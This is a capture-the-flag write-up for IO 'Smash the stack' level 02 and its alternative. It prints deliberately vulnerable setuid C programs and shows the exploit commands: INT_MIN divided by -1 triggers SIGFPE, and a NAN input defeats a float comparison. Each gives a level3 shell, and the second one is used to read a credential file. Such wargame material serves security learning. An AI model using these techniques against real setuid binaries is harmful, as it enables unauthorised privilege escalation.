IO Smash the stack level 02
Level02
level2@io:~$ cd /levels/
level2@io:/levels$ ls -latr level02*
-r-------- 1 level2 level2 437 May 26 2011 level02_alt.c
-r-sr-x--- 1 level3 level2 6940 May 26 2011 level02_alt
-r-sr-x--- 1 level3 level2 5329 Oct 4 2011 level02
-r-------- 1 level2 level2 495 Apr 13 2015 level02.c
This time we got source code so lets look at it
level2@io:/levels$ cat level02.c
//a little fun brought to you by bla
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void catcher(int a)
{
setresuid(geteuid(),geteuid(),geteuid());
printf("WIN!\n");
system("/bin/sh");
exit(0);
}
int main(int argc, char **argv)
{
puts("source code is available in level02.c\n");
if (argc != 3 || !atoi(argv[2]))
return 1;
signal(SIGFPE, catcher);
return abs(atoi(argv[1])) / atoi(argv[2]);
}
So in order to get the cacher function to run we need to get provide 2 arguments (argv[0] is the program itself) and the last argument must not be 0. Since the cacher will only run on signal SIGFPE then lets have a look at the man page for signal(2)
According to POSIX, the behavior of a process is undefined after it ignores a SIGFPE, SIGILL, or SIGSEGV signal that was not generated by kill(2) or raise(3). Integer division by zero has
undfined result. On some architectures it will generate a SIGFPE signal. (Also dividing the most negative integer by -1 may generate SIGFPE.) Ignoring this signal might lead to an endless loop.
So the most negative integer would eihter be -2^15 (2 bytes) or -2^31 (4 bytes) and since this is a 32bit system lets try with 4 bytes
level2@io:/levels$ ./level02 $(echo "-2^31"|bc) -1
source code is available in level02.c
WIN!
sh-4.2$ whoami
level3
sh-4.2$ cat /home/level3/.pass
XXXXXXXXXXXXXXXX
Level02 alt
level2@io:/levels$ cat level02_alt.c
/* submitted by noname */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define answer 3.141593
void main(int argc, char **argv) {
float a = (argc - 2)?: strtod(argv[1], 0);
printf("You provided the number %f which is too ", a);
if(a < answer)
puts("low");
else if(a > answer)
puts("high");
else
execl("/bin/sh", "sh", "-p", NULL);
}
The alternative level took me a while to find. There is no equel sign so I started reading up on strtod(3) and found
A NAN is “NAN” (disregarding case) optionally followed by ‘(’, a sequence of characters, followed by ‘)’. The character string specifies in an implementation-dependent way the type of NAN.
level2@io:/levels$ ./level02_alt NAN
sh-4.2$ whoami
level3